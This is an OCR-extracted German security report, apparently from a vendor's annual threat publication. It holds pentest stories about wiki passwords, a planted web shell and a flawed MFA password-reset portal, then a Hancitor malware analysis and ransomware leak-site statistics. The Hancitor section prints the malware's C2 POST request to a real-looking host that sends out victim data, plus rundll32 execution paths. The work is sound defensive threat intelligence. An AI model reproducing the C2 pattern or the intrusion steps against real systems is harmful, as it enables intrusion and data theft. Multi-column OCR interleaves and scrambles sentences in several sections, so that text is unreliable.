Die Anwendungen waren seit Jahren nicht
gepatcht worden — schlieBlich wiirde man
sich hier ja nicht in der Fertigung befinden.

Auf diese Weise wurde Uber das
Wer sagt denn, dass ich kein Admin Internet ein privilegierter interner
. i i P L) Netzwerkzugriff erschlichen und wir
Mochten Sie ein Passwort? sein kann? hatten unsere Aufgabe erfilllt.

.. . In der Tat wurden in einem Wiki mehrere
!
Schauen Sie im Wiki nach! unverschliisselte Administratorpasswarter

Die Firewall-Regeln der DMZ waren « gefunden — der Autor der Seite argumentierte, dass
streng, abgesehen von einigen + es, dasie fiir QA-Systeme seien, nicht wirklich
Ausnahmen, die den Zugriff auf +  wichtig sei, dass sie jeder sehen kénnte.
eine ganze Reihe interner Systeme
vom kompromittierten Webserver
ermdglichten. Fur die Anmeldung
waren jedoch privilegierte
Doméanenanmeldeinformationen
erforderlich.

Nach der Anmeldung war es jedoch mdglich,
unverschlisselte Passworter fir mehrere wertvolle
Dienstkonten aus der Registrierung der QA-
Systeme zu extrahieren.

Ein oder zwei Abfragen spater war es
mdglich, Betriebssystembefehle auf einem
Webserver des Kunden auszufiihren.

Zu diesem Zeitpunkt hétte eine beliebige
Anzahl von Angriffen ausgefihrt werden
kénnen, um an Zugangsdaten etwa
mittels Password-Spray-Angriffen

oder Kerberoasting zu gelangen. Aber Gewon nene
eine Vorgehensweise scheint fast =
immer zu funktionieren — die Suche Erken ntn Isse:

nach Passwortern in internen Wikis,
SharePoint-Seiten oder Dateiservern.

Vertrau mir, Server: Im Feedbackgesprich zeigte sich der CIO verdrgert — das
Es ist vertrauenswiirdig! Sicherheitsbudget war hoch, das Netzwerk Millionen wert
und trotzdem leicht zu kompromittieren.

AnschlieBend wurden auf dem Webserver eine
Web-Shell und ein Proxy installiert und konfiguriert.
Der teuren Anti-Malware-L&sung machte das nichts
aus - fir das Web-Stammverzeichnis wurde eine
Ausnahme gemacht, da der Admin vermutete,

Auf die Frage, wer oder was dafur verantwortlich gemacht
werden kann, lautete die einfache Antwort — tausend kleine
Ausnahmen. Die gewonnenen Erkenntnisse sind also:

dass das Anti-Malware-Programm die Website = Es gibt kein ,bedeutungsloses‘ System! Schiitzen Sie
verlangsamen wirde. Test- und Demoumgebungen wie Live-Assets, denn
Hinzu kommt noch, dass das SOC zudem bisher genau das sind sie (keine Ausnahmen!)

nicht dazu gekommen ist, das System in das SIEM Gleiches gilt fiir die Uberwachung: Stellen Sie sicher,
zu integrieren. Nicht, dass das einen Unterschied dass lhr SOC und SIEM keine blinden Flecken auf-
gemacht hétte: die Protokollierung der Systeme war weisen (keine Ausnahmen!)

meistens deaktiviert, da ,die Festplatte voll war". o > . .
Grundsétzlich sollten Passworter nicht weitergegeben

werden. In seltenen Féllen kann es durchaus notwendig
erscheinen, dass mehrere Benutzer mit denselben
Zugangsdaten einen Zugriff erhalten kénnen. Diese
sollten dann aber sicher in einem verschlisselten
Passwort-Tresor aufbewahrt werden. Speichern Sie
sie niemals in einem 6&ffentlich zugénglichen Wiki oder
Sharepoint (keine Ausnahmen!)

© Orange Cyberdefense
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Pentesting Story: Red-Team on the rocks

Einer unserer Kunden im hohen Norden, ein mittelstédndischer MSP,
wandte sich flir eine Red—Team—Ubung an uns, um seine Sicherheitsteams
auf eine harte Probe zu stellen. Am Ende waren es einige kleine Details, die
dazu fihrten, dass die Angreifer diesmal den Sieg flr sich beanspruchten.

Eirik Sveen, Senior Ethical Hacker, Orange Cyberdefense
Henrik Pedersen, Ethical Hacker, Orange Cyberdefense

Erstaufkldrung

Bei der Eingangsuntersuchung
fanden die Tester zwei nach auBen
gerichtete Serviceportale. Eine
Kennwortzurlicksetzung und ein
Selbstbedienungsportal.

Diese Portale wurden anscheinend
intern erstellt und kommunizierten
per AD/AAD, was sie zu sehr
interessanten Zielen machte.

Komp ittierung

Die Tester stellten fest, dass
der MFA-Token zudem in der
Serverantwort enthalten und 20

Self-Service:
Eine Privilegienerweiterung
zum Mitnehmen, mit extra

Sahne!

Nachdem das Kennwort des
Zielbenutzers erfolgreich
zurtickgesetzt wurde, konnten sich
die Tester als dieser Benutzer im
Selbstbedienungsportal anmelden
und herausfinden, dass das Portal
mehrere Schwachstellen aufwies, von
denen die schwerwiegendsten die
fest kodierten Berechtigungs-UUIDs
im Code darstellten. Dies ermdglichte
es den Testern, ihre Berechtigungen
innerhalb des Portals zu erweitern,
indem sie eine glltige, hdher
privilegierte UUID in einer Anfrage an
den Server hinzufligten, die der Server
nicht ordnungsgeman bereinigte, was
zu einer Privilegienerweiterung flhrte.

Pentesting- & CSIRT-Stories

ollstandige
Kompromittierung

Durch den Missbrauch dieser
Schwachstelle konnten die Tester
ihre Berechtigungen sowohl
innerhalb des Portals als auch

in der Doméane des Zielsystems
erweitern, was zu einer vollstandigen
Kompromittierung des Zielkunden
und moglicherweise aller Benutzer
und Kunden des Kunden hétte fihren

Minuten gultig war. Der Tester konnen.
konnte dann den MFA-Token
dazu verwenden, um das
Kennwort des Zielbenutzers
zuriickzusetzen, der wiederum
nicht auf die Kennwortanderung

aufmerksam gemacht wurde.

Abfangen

Die Tester haben den :
Datenverkehr mittels Burp .
abgefangen und festgestellt, .
L]
[ ]
L[ d

Gewonnene
: Erkenntnisse:

Social Media?
#hackersdelight!

Es wurde anschlieBend festgestellt,
dass, wenn der Tester eine guiltige
E-Mail und Telefonnummer fiir einen
Benutzer angab, die allesamt einfach
auf Social-Media-Plattformen,

Uber Google oder der Zielwebseite
zu finden sind, die Tester eine

dass die Portale interne
Benutzernamen und
Domain-Informationen in der
Serverantwort weitergegeben
haben, sobald eine gliltige
E-Mail bereitgestellt wurde.
Dies ermdglichte es den
Testern, gultige Benutzer
und potenzielle Ziele
auszumachen.

Einige Lehren, die aus dieser Ubung gezogen werden
kénnen:

= Basteln Sie sich nichts zurecht und setzen Sie
nicht auf selbst entwickelte Authentifizierungen
und MFAs

© Orange Cyberdefense

&

Kennwortzurticksetzung einleiten
konnten, wodurch ein MFA-Token an
die Telefonnummer des Ziels gesendet
werden konnte.

Verwenden Sie bekannte Authentifizierungs-
Frameworks, die Uber eine vorhandene Integration
mit AD/AAD verfligen

Stellen Sie sicher, dass in Serverantworten keine
sensiblen Daten weitergegeben werden

Sehen Sie von einer Hartcodierung von
Sicherheitsberechtigungen oder UUIDs ab

Bereinigen Sie die Benutzereingaben
ordnungsgemaB und stellen Sie sicher, dass die
vorhandenen Berechtigungen eines Benutzers
Uberpriift werden

\
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3. Command & Control

Nach der Infektion des Systems sammelt die Hancitor-DLL mithilfe eines Windows-

API-Aufrufs verschiedene Informationen (iber die infizierten Systeme. Uber den Payload

wird zudem eine Suche auf api.ipify.org durchgefihrt, um die &ffentliche IP-Adresse des
infizierten Systems zu erhalten. eeeo

Bedrohungsanalyse:

4. Ficker und
Cobalt Strike

Hancitor wurde bei den
letzten beobachteten
Kampagnen oft als
einfacher Loader verwendet.
Je nachdem, ob das
infizierte System Teil

einer Arbeitsgruppe oder
einer Domane ist, ladt das
Schadprogramm zusitzliche
Nutzdaten herunter und
fihrt sie aus, von Ficker
(Arbeitsgruppe) bis Cobalt
Strike (AD-Umgebung).

GET / HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT6.1; Win64; x64; trident/7.0; rv:11.0) like Gecko
Host: api.ipify.org

Cache-Control: no cache

Seit mehreren Monaten verfolgt und erkennt das CyberSOC von Orange Cyberdefense Malware-
Kampagnen, die darauf abzielen, Hancitor zu verbreiten, einen Loader, der von einem béswilligen

Akteur verwendet wird, der MAN1, Moskalvzapoe oder TA511 genannt wird. cecccsese

Alle gesammelten Informationen werden dann tber HTTP-POST-Anfragen an Hancitor

Seit 2020 setzt dieser Bedrohungsakteur, wie viele andere Ransomware-Operatoren Cobalt Strike ein, um auf
C2 gesendet. Die Daten werden in diesem Format gesendet:

GroBwildjagd zu gehen. McAfee und Group-IB bestétigten die Beobachtung einiger kurzlich durchgefihrter
Kampagnen, bei denen Hancitor als Initial-Access-Broker fir Cuba-Ransomware eingesetzt wurde
POST /8/forum.php HTTP/1.1

Host: arviskeist.ru

Content-Length: 101

Content-Type: application/x-www-form-urlencoded;

User-Agent: Mozilla/5.0 (Windows NT6.1; Win64; x64; trident/7.0; rv:11.0) like Gecko

Roland R., CyberSOC Analyst,

Was Sie wissen sollten

Diese Bedrohungsanalyse umfasst eine technische COCOOOOOOODOOOCO0OOO0

[ J
Beschreibung typischer Hancitor-Malspam- :
Kampagnen sowie die gesamte aktuelle Kill Chain von O
der Erstinfektion bis zum Einsatz von Cobalt Strike
und FickerStealer. Wir werden einige Indikatoren
einer Kompromittierung und mégliche Infrastruktur-
Fingerabdriicke bereitstellen, die bei der Aufstellung
einiger Regeln helfen kénnen, um diese spezifische
Bedrohung zu erkennen oder zur Strecke zu bringen.

£} 9FC: "C:\Program Files\Microsoft
Office\Office 1 5\WINWORD.EXE" "C:\
UserJ N os05_7722865
033.doc”

£ A58: rundlia2 c -.appdnm".

roaming\microsoft\templatesier.dll,N
XYSYMIUJMD

FickerStealer ist ein in Rust geschriebener Info-Stealer,
der in Untergrund-Foren als MaaS (Malware-as-a-Service)

Fingerabdruck: Hancitor
verkauft wird. Dies bestéatigen Forscher von CyberArk

« CZID 2 Ot+16s

appdatal
roaming'microsoftitemplatesiier.dil,N
XYSYMIUJMD

Mit dieser Censys-Abfrage konnten wir
Hosts ausfindig machen, die Teil der eigent-
lichen Infrastruktur von Hancitor und Ficker
waren®':;

Wir haben festgestellt, dass FickerStealer in der Regel
als zweite Stufe in nicht-domanenverbundenen Systemen
eingesetzt wird, wihrend Cobalt Strike hauptsachlich in
doméanenverbundenen Umgebungen verwendet wird.

2 A60: undlia2 !

+ EEZIE) at Ot+16s

services.http.response.headers.last_modified:
"Thu, 25 Jun 2015 20:49:10 GMT" OR services. b
http.response.headers.etag: "\'558c6946-0\""

4 (RUNPE) at ©t:+53s

Abbildung 1 - Die komplette Dropper-Ausfiihrung kann mit diesem
Bericht aus unserer firmeneigenen Sandbox-L6sung (P2A) veran-
schaulicht werden

Fingerabdruck: FickerStealer

Seit Monaten greifen Kampagnen, die
Hancitor-Malware verteilen, auf die
gleiche Vorgehensweise zuriick, indem sie
gefilschte DocuSign-E-Mails verwenden,
um neue Opfer anzulocken. In den letzten
Kampagnen nutzte Hancitor einen Link

in einer E-Mail, der zu einem legitimen
Google-Dienst, FeedProxy, fiihrte

Sobald der Benutzer auf den Link klickt, wird
er aufgefordert, ein Office-Dokument (Doc-
Datei) herunterzuladen. Diese schadhaften
Dokumente sind nicht direkt auf Google-
FeedProxy gespeichert. Tatsachlich wird der

2. Ausfiihrung

Sobald der Benutzer Makros 6ffnet und aktiviert

(gemaB den Anweisungen im Text des Word-
Dokuments), legt das Makro eine DLL auf dem
System ab und fiihrt sie Giber rundll32.exe aus.

Ab Anfang August 2021 haben wir eine kleine

Durch die Suche nach Mustern in Bezug auf
die C2-Antwort von Ficker auf Censys und
Shodan konnten wir vier Hosts ausfindig ma-
chen, einschlieBlich eines Administrations-
bereichs von FickerStealer, der auf TCP/8000
exponiert ist’?.

Cobalt Strike ist eine kommerzielle
,Bedrohungsemulationssoftware’, die haufig von
Ransomware- und APT-Akteuren als Post-Exploitation-Tool
missbraucht wird

In einer Active-Directory-Umgebung fungiert Hancitor als
Loader fiir Cobalt Strike Beacon. Da Cobalt Strike viele
Funktionen bietet, die fast alle Phasen des Eindringens
abdecken, verlassen sich viele Ransomware-Akteure auf
dieses Tool.

Anderung am Office-Dokument-Dropper feststellen
kénnen. Anstelle der liblichen eingebetteten DLL

als OLE-Objekt begann man bei Hancitor eine
kennwortgeschiitzte DOC-Datei in der anfénglich
heruntergeladenen DOC-Datei einzubetten. Die
eingebettete kennwortgeschiitzte DOC-Datei wird
auf dem System abgelegt. Es enthalt Makros, die
fur das Ablegen der Hancitor-DLL auf die Festplatte
verantwortlich sind. AnschlieBend wird die DLL iiber

Cloud-Dienst lediglich als Umleiter verwendet
(HTTP 301 Moved Permanently). Das ,echte’
Repository fur schadliche Dokumente wird
auf einer anderen Domain gehostet, die sich
auf eine PHP-Datei und ein wenig auf einen
JavaScript-Code sttitzt, um das Dokument im
laufenden Betrieb zu generieren.

rundli32.exe ausgefiihrt.

www.orangecyberdefense.com
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Tech Insight: Ransomware Offroad [al

Carl Morris
Lead Security Researcher
Orange Cyberdefense

Charl van der Walt
Head of Security Research
Orange Cyberdefense

Tech Insight

Ransomware Offroad:

Jenseits der
Verschlusselung

Unsere Experten haben Leak-Seiten untersucht, die regelmaBig fiir Double-
Extortion-Ransomware und Cy-X verwendet werden. Das haben wir
herausgefunden.

»Wie kommt es, dass Sie nicht verstehen, dass in der heutigen Zeit ein Hackerangriff bereits
ausreicht, um in einem groBen Gebiet oder einem Land den Zugang zu Internetdiensten, Wasser,
Gas und Strom zu unterbrechen.” (Maze, Okt 2020)

Wir haben das Thema Cyber Extortion (Cy-X) mehrfach an anderen Stellen im diesjahrigen
Navigator diskutiert. Diese heimtlickische Form der Kriminalitat beherrschte in den letzten
zwolf Monaten den Diskurs rund um das Thema Security. Genau aus diesem Grund soll in den
folgenden Abséatzen nochmals auf diese Thematik eingegangen werden. Dieses Mal soll das
Ausmal und die gegenwartige Gestalt des Problems unter die ,Datenlupe’ genommen werden.

Cy-X ist eine Form der Computerkriminalitét, bei der die Sicherheit digitaler Datenbesténde von
Unternehmen (Vertraulichkeit, Integritat oder Verfligbarkeit) kompromittiert und in einer wie auch
immer gearteten missbrauchlichen Weise dazu verwendet wird, um Ldsegeld zu erzwingen.

Den meisten von uns dirfte dieses Problem unter dem Begriff ,Ransomware’ oder vielleicht
,Double Extortion’ bekannt sein. Wie bereits dargestellt, halten wir diese Begriffe flir zu ungenau
und so haben wir uns daher entschieden, beztglich der gefuhrten Diskurse unsere eigene
spezifische Definition zu bemuhen.

www.orangecyberdefense.com




Cy-X ist eine einzigartige Form der Cyberkriminalitat, bei der wir
einige der kriminellen Handlungen auf sog. ,Victim Shaming’-
Leak-Seiten beobachten und analysieren kénnen.

Seit Januar 2020 bemUhen wir uns, moglichst viele dieser
Seiten zu identifizieren, um die dort aufgeflihrten Opfer zu
erfassen und zu dokumentieren.

Durch unsere Recherche, Analyse und Anreicherung von
Daten, die von den verschiedenen Cy-X-Betreiber- und
Marktseiten gesammelt wurden, kdnnen wir aus dieser
Perspektive heraus unmittelbare Einblicke in die Viktimologie
geben.

Wir missen uns dartiber im Klaren sein, dass wir hier nur

ein begrenztes Spektrum der tatséchlich stattfindenden
Kriminalitdt analysieren. Dennoch erweisen sich die aus der
Analyse der Leak-Bedrohungen gewonnenen Daten als &uBerst
aufschlussreich.

Wir bezeichnen die Auflistung eines kompromittierten
Unternehmens auf einer Cy-X-Leak-Webseite als ,Leak-Threat’.
Die Zahlen, die Sie den meisten der folgenden Diagramme
entnehmen kdnnen, beziehen sich auf die Anzahl solch
individueller Bedrohungen auf den Onion-Sites der Cy-X-
Gruppen, die wir in den letzten zwei Jahren identifizieren und
zurlickverfolgen konnten.

Wir haben seit Anfang Januar 2020 insgesamt 3.027
einzigartige ,Leak-Threats’ dieser Art ausgehend von 67

verschiedenen Akteuren erfassen und dokumentieren kénnen.

Das Darknet ist per Definition nicht indiziert. Daher kbnnen wir
nur die Bedrohungen erfassen, die wir auch sehen kénnen.
Niemand kann garantieren, dass alle Webseiten erfasst
werden. Einige Webseiten verschwinden gelegentlich aus
unserem Sichtfeld oder sie werden umbenannt, wahrend wir
bisweilen auch neue Webseiten erfassen kénnen.

Trotz der Unvorhersehbarkeiten der Umgebung, die wir
beobachten, dient die Anzahl der Leaks als zuverlassiger
Indikator flir das AusmaR dieser Kriminalitat, sowie ihre
generellen Trends im Laufe der Zeit.

Wir haben vom ersten Quartal 2020 bis zum dritten
Quartal 2021 fast eine Versechsfachung der Leak-Threats
beobachten kénnen.

Fur den Vergleichszeitraum von Q1-Q83 eines jeden Jahres ist
die Anzahl der Bedrohungen um 27 % gestiegen, wéhrend die
Anzahl der Bedrohungen zwischen dem Q3 2020 und dem Q3
2021 um 9 % gestiegen ist.

Die durchschnittliche Anzahl neuer Threats, die wir monatlich
beobachten kénnen, stieg von 126 im Jahr 2020 auf 168 im
Jahr 2021, was einem Anstieg von 33 % entspricht.

Beobachtete Bedrohungen und Akteure

Unterschiedliche Bedrohungen und unterschiedliche Akteure im Laufe der Zeit Bedrohungen M Akteure
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50

Jan Feb Mrz Apr Mai Jun Jul Aug Sep Okt
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Die Anzahl der verschiedenen Akteure, die jeden Monat in
Erscheinung treten, variiert auch im Laufe der Zeit.

Im Jahr 2021 (bis zum Q3) haben wir jeden Monat
durchschnittlich 17 verschiedene aktive Akteure beobachten
kénnen. Das entspricht einem Anstieg von 42 % im Vergleich
zu durchschnittlich 12 Akteuren pro Monat im Jahr 2020.

Trotz der scheinbar unterschiedlichen Formen der beiden
Kurven in der obigen Grafik ist es interessant festzustellen, dass,
sofern man die monatlichen Durchschnittswerte betrachtet, die
Anzahl der Akteure tatsachlich um etwa 12 % schneller
wachst als die Gesamtzahl der Bedrohungen.

Es ist schwierig, die Auswirkungen dieses Trends

zu interpretieren, aber er kdnnte auf eine sukzessive
Fragmentierung des kriminellen Okosystems hindeuten, da
immer kleinere Gruppen miteinander um ein mdglichst groBes
Stlick des Cy-X-Kuchens konkurrieren.

LOCKE
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LOCKBIT20
Leak-Seite
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Wie in allen Markten wiirde diese Art von Wettbewerb
Innovationen hervorbringen. Wir sollten also davon
ausgehen, dass die Techniken der Kriminellen sowie die
Methoden, mit denen Lésegeld erpresst wird, immer mehr
Variationen aufweisen werden.

Dies kénnte in der Tat bereits der Fall sein, wie wir spater
erlautern werden.

Die Security-Branche verwendet eine relativ allgemeingiltige
Serie von Identifikatoren, um die verschiedenen kriminellen
Gruppen zu verfolgen. Naturlich ist es fur uns viel einfacher,
da die Akteure ihre Leak-Seiten dazu verwenden, um sich zu
identifizieren und sogar zu beschreiben.
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Verteilung der Akteursgruppen

Top 25 Akteure insgesamt seit Januar 2020

B 16% Conti

E 10% REvil

B 10% Maze

B 7% Egregor

B 7% LockBit 2.0

B 7% DoppelPaymer

M 6% Avaddon

B 4% Pysa

B 4% Netwalker

B 3% Clop
2% Everest

B 2% Darkside

B 2% NetWalker

B 1% Babuk

B 1% Ragnarok

B 1% RagnarLocker

B 1% Nefilim

B 1% Marketo

B 1% HivelLeaks

B 1% RansomEXX

B 1% Prometheus

B 1% Cuba

® 1% BlackMatter

1% LV

B 1% MountLocker
8% Other

In der Szene der Cy-X-Gruppen beobachtete Verschiebungen
0 200 400 600 800 1000 1200 1400 1600

2020 2021

H Conti H REvil

= Avaddon = Netwalker

B Darkside B Ragnarok

B RagnarLocker m RansomEXX

m ViceSociety =~ ® SunCrypt
MountLocker AKO

H Ranzy
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B Maze

m Pysa

H Babuk

B Prometheus

B Grief
LockBit

B Egregor

m Other

B Nefilim

B BlackMatter
B Grieflist

B Pay2Key

B LockBit 2.0
Clop

B Marketo

m Cuba

B Payloadbin
Sekhmet

B DoppelPaymer
m Everest

W Hiveleaks

[ JAY

W Lorenz

= Ryuk

Sehen wir uns unsere Gegenspieler
genauer an

Wir stellen fest, dass fast 50 % aller Bedrohungen auf
lediglich fiinf ,Alpha’-Akteure zuriickgefiihrt werden
kdnnen - Conti, REvil, Maze, Egregor and LockBit2. Anders
betrachtet, gehen die anderen 50 % aller Bedrohungen
von einer zweiten Ebene von 58 verschiedenen Gruppen
aus, von denen 30 in den letzten zwei Jahren fiir mehr als
10 Bedrohungen verantwortlich zu machen sind.

Die Akteurslandschaft verandert sich im Laufe der Zeit
dramatisch, wie die Grafik auf der vorherigen Seite
veranschaulicht.

Maze zum Beispiel ist fiir 10 % aller in unserem Datensatz
erfassten Bedrohungen verantwortlich, taucht aber im Jahre
2021 Uberhaupt nicht auf, da die Gruppe im November 2020
freiwillig ihren Betrieb eingestellt hat.

REuvil ist eine der bekannteren Gruppen in diesem Bereich,
die im September nach einer langen Pause, die dem Kaseya-
Angriff im Frihsommer geschuldet ist, wieder aufgetaucht
ist und ein konstantes operatives Tempo beibehalten konnte,
bevor sie erneut das Handtuch warfen.

Conti hingegen hat seine Liste von 2020 bis 2021 um fast

50 % erweitern kdnnen, wahrend Lockbit2 im Jahr 2020 kaum
in Erscheinung trat, allerdings im Jahr 2021 bisher Gber 200
Opfer verzeichnen konnte.

Wir kdnnen zum Zeitpunkt der Erstellung dieses Reports eine
ganz andere Bedrohungslandschaft als in den Monaten zuvor
beobachten. Conti bleibt in den Top 3, aber Avaddon, die

im Juni den Betrieb eingestellt haben, und REvil, die im Juli
und August eine Pause einlegten, sind dabei, die Top 3 zu
verlassen.

Unterdessen trat Mitte Juli LockBit 2.0 in Erscheinung und trug
stark zu dem Anstieg bei, den wir im September beobachteten.
Diese Gruppe an Bedrohungsakteuren trat bereits zuvor in
Erscheinung (seit Dezember 2019), hat jedoch ihre Leak-Seite
im Zuge der Einstellung von Onion Service v2 aktualisiert und
ist somit mit einer V3-Onion-Site und einem neuen Design
wieder aufgetaucht. LockBit 2.0 behaupten, die schnellsten
Ubertragungsgeschwindigkeiten fiir die Datenexfiltration

zu haben, was sie auf inrer Webseite mit einer Tabelle ihrer
Ergebnisse und einem Zip-Ordner zum Herunterladen der
Beispiele, an denen sie die Geschwindigkeitstests durchgefihrt
haben, belegen.

Ein weiterer Ransomware-Stamm, der im Juli 2021 zum
bisherigen Hohepunkt einer langen Kette von Hackerangriffen
beitrug, war Hive. Das Federal Bureau of Investigation (FBI)
verdffentlichte im August 2021 eine Warnung zu diesem
speziellen StammF3. Hive wurde erstmals im Juni 2021
beobachtet. Zwischen Juni und September konnten wir

38 Opfer auf der Leak-Seite der Operatoren, HivelLeaks,
verzeichnen, womit Hive im dritten Quartal zu den Top 3 der
Operatoren gehorte.

Tech Insight: Ransomware Offroad .

Lassen Sie uns einen kurzen Blick auf die drei wichtigsten
Cy-X-Gruppen werfen, die im dritten Quartal 2021 beobachtet
werden konnten:

LockBit 2.0 - beobachtete Aktivitaten im Jahr 2021

= n=205
= 33 % der Opfer stammen aus den USA

= 80 % der Opfer gehdrten zum Kreis von kleinen
Unternehmen

= Die Top 3 der betroffenen Branchen: Fertigung,
professionelle/freiberufliche Dienstleistungen, GroBhandel

Conti - beobachtete Aktivitdten im Jahr 2021

= n=285

= 61 % aller Opfer stammen aus den USA, gefolgt von
Frankreich und GroBbritannien

= 83 % der Opfer gehdrten zum Kreis von kleinen
Unternehmen

= Die Top 3 der betroffenen Branchen: Fertigung,
professionelle/freiberufliche Dienstleistungen, Einzelhandel

HiveLeaks — beobachtete Aktivitaten im Jahr 2021

= n=34

= 61 % aller Opfer stammen aus den USA, gefolgt von
GroBbritannien und Australien

= 85 % der Opfer gehdrten zum Kreis von kleinen
Unternehmen

= Die Top 3 der betroffenen Branchen: professionelle/
freiberufliche Dienstleistungen, Fertigung, Finanzen und
Versicherungen

Die Landschaft der Bedrohungsakteure rund um Cy-X ist
komplex und dynamisch. Die Zahl der Akteure wéchst stetig,
auch wenn einzelne Akteure im Laufe der Zeit kommen

und gehen. Wéhrend eine Handvoll ,Alpha’-Akteure fir

etwa die Hélfte aller Verbrechen verantwortlich sind, gibt es
auch Dutzende anderer ,kleinerer’ Akteure, mit denen man
sich auseinandersetzen muss. Trotz einiger in letzter Zeit
verzeichneter Erfolge auf Seiten der globalen Koalitionen im
Bereich der Strafverfolgung, wodurch einige der Straftéter
vor Gericht gebracht werden konnten, ist es klar, dass

die dynamische und amorphe Natur dieses kriminellen
Okosystems es sehr schwierig machen wird, effektiv dagegen
vorzugehen.

www.orangecyberdefense.com



Kommen wir nun zu den 3.027 Datenséatzen unserer Daten fur
Leak-Seiten-Bedrohungen zurlick und richten unseren Fokus
dabei auf die Branchen und L&nder, in denen die Opfer aktiv
sind.

In der obigen Grafik wird die Anzahl der Bedrohungen durch
Leaks flir die Jahre 2020 und 2021 pro Land fir die Top-10-
Lander in unserem Datensatz dargestellt. Wir stellen auch das
Bruttoinlandsprodukt (BIP) der 12 reichsten Lénder des Jahres
2021 dar

Die Lander mit der groBten Opferdichte sind in unserem
Datensatz relativ konstant geblieben. Als allgemeine Faustregel
gilt, dass die Rangfolge eines Landes in unserem Datensatz
das relative BIP dieses Landes widerspiegelt. Je gréBer die
Wirtschaft eines Landes, desto mehr Opfer wird es in diesem
Land geben. Tatsachlich sind acht der zehn Opferlander, die
am haufigsten von Cy-X betroffen sind, unter den zehn gréBten
Wirtschaftsnationen der Welt.

Daraus folgern wir, dass die relative Zahl der Opfer in einem
Land schlichtweg von der Anzahl der Online-Unternehmen
in diesem Land abhangt. Damit ist nicht endgultig bewiesen,
dass Cy-X-Akteure nicht gelegentlich bewusst Ziele in
bestimmten Landern oder Regionen angreifen. Es bedeutet
auch nicht, dass ein Unternehmen in einem Land mit hohem
BIP eher angegriffen wird als ein Opfer in einem Land mit
niedrigem BIP (da sich die Wahrscheinlichkeiten mit mehr
Unternehmen ausgleichen).

In der Grafik rechts werden die betroffenen Lander mit den
Top-5-Akteuren im Jahr 2021 dargestellt. Obwohl wir einige
leichte Unterschiede zwischen den Opfergruppen feststellen
koénnen, gilt im Allgemeinen, dass die verschiedenen Akteure
alle &hnliche Opfer-Land-Verteilungen aufweisen. Noch einmal
— wir konnten kein anderes Muster der Targeting-Logik als das
relative BIP des Landes erkennen.
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Unserer Meinung nach lasst sich aus diesen Daten ganz
einfach ableiten, dass Unternehmen in fast allen Landern
kompromittiert und erpresst werden. Weltweit besteht
eine gleichméBige Wahrscheinlichkeit, dass ein Unternehmen
in einem bestimmten Land zum Opfer féllt. Logischerweise
werden wir umso mehr Opfer verzeichnen, je mehr
Unternehmen sich in einem Land befinden.

Vor diesem Hintergrund haben wir es uns erlaubt, Indien,
Japan, China und Russland in die obige Tabelle als
Gegenbeispiele fur Lander mit groBem BIP aufzunehmen, die
auf unserer Cy-X-Opferliste ganz unten stehen.

Russland stellt die erste Ausnahme dar, die zudem am
einfachsten zu erklaren ist. Mit einem prognostizierten BIP

von 1,5 Bio. USD flr 2021 stellt es in unserem Ranking die
elftgréBte Volkswirtschaft der Welt dar. Allerdings haben wir
dort im Jahr 2021 nur ein Opfer verzeichnen kénnen. Der
Grund flir diese Anomalie scheint in einer Art ,inzestudsen’
politischen Beziehung zwischen der russischen Regierung und
den vielen Cy-X-Gangs zu liegen, die von dort aus operieren.
Durch bestimmte politische Gegebenheiten, etwa in Landern
wie Russland, China, Iran und Nordkorea, wird durch eine
Kombination aus sozialen, politischen und 6konomischen
Bedingungen das Problem der Cyberkriminalitat geschaffen
und aufrechterhalten. Dies fiihrte beispielsweise in Russland zu
einer langen und komplexen Beziehung zwischen dem Staat
und dem kriminellen Untergrund, bei der die Regierung die
kriminellen Machenschaften ignoriert, solange sich die Angriffe
der russischsprachigen Bedrohungsakteure nur auf Russlands
auslandische Gegenspieler richten. Regierungen und
Geheimdienste weltweit haben eine Vielzahl unterschiedlicher
Beziehungen zu Hacker- und Cybercrime-Crews, die von ihrem
Hoheitsgebiet aus operieren.
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Indien mit einem ftir 2021 prognostizierten BIP von 2,72

Bio. USD und China mit 13,4 Bio. USD sind ebenfalls
unterreprasentiert. Aber aus anderen Griinden. Wir haben
keinen Grund zu der Annahme, dass diese Lander in der
gleichen Art von politischem Schutz profitieren wie Russland.
Wir haben diesbezlglich eine andere Erklarung. China und
Indien haben eine riesige Bevolkerung und ein entsprechend
groBes BIP. Allerdings sind ihre jeweiligen Volkswirtschaften
weniger modernisiert und digital schlechter aufgestellt als
ihre westlichen Zeitgenossen, was bedeutet, dass weniger
Online-Unternehmen zur Zielscheibe werden kdnnen. Auch
die Sprache kdnnte eine Rolle spielen — Unternehmen,

die nicht auf Englisch kommunizieren, sind schwieriger zu
finden, zu verstehen und zu navigieren. Auch das Verhandeln
mit den jeweiligen Vertretern der Unternehmen stellt eine
dementsprechend groBe Hirde dar. Dariiber hinaus ist

es schwieriger ihre Benutzer mit standardisierten Social-
Engineering-Tools zu kompromittieren.

Japan, offensichtlich die letzte Ausnahme von unserer Regel,
ist eine hochmodernisierte Wirtschaft, wird jedoch Kriminelle
vor die gleichen Sprach- und Kulturbarrieren wie China und
Indien stellen, was mdglicherweise urséchlich fir die geringe
Pravalenz in unseren Opferdaten ist.

Ein letzter zu untersuchender Trend sind die relativen
Wachstumsraten zwischen den USA und Kanada, Deutschland,
Frankreich, Spanien und Italien (EU) und dem Vereinigten
Kdnigreich.

Wenn wir die ersten 3 Quartale 2021 mit den letzten 3
Quartalen 2020 vergleichen, stellen wir Folgendes fest:
Das US-Volumen ist um 7 % gesunken
Das kanadische Volumen ist um 15 % gesunken

Das Volumen in GroBbritannien ist um 8 % gesunken

pndere
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Das européische Volumen, das Deutschland, Frankreich,
Spanien und ltalien vereint, ist um 25 % gestiegen

Die Gesamtzahlen fur andere ,nicht englische’
Volkswirtschaften sind gering, aber wir kbnnen auch dort
ahnliche Muster beobachten (wenn auch in kleinerem
MaBstab):

Das brasilianische Volumen ist um 26 % gestiegen
Das chinesische Volumen ist um 100 % gestiegen

Das indische Volumen ist um 14 % gestiegen

Die jeweiligen Volumina in Nigeria und Stidafrika sind noch zu
gering, um daraus entsprechende Rickschlisse zu ziehen.

Daraus lieBe sich folgern, dass Cy-X langsam von englischen
zu nicht-englischen Volkswirtschaften libergeht. Dies ist
wahrscheinlich die logische Konsequenz der wachsenden
Nachfrage nach Opfern, die durch neue Akteure angeheizt
wird. Aber es kénnte auch die Folge verstérkter politischer
Signale aus den USA sein, was die Akteure bezlglich der Frage
vorsichtiger werden lasst, wen sie und ihre Partner ausbeuten
koénnten.

Ungeachtet dieser Griinde bleibt die Tatsache unveréndert,
dass in fast jedem Land Opfer gefunden werden kénnen.
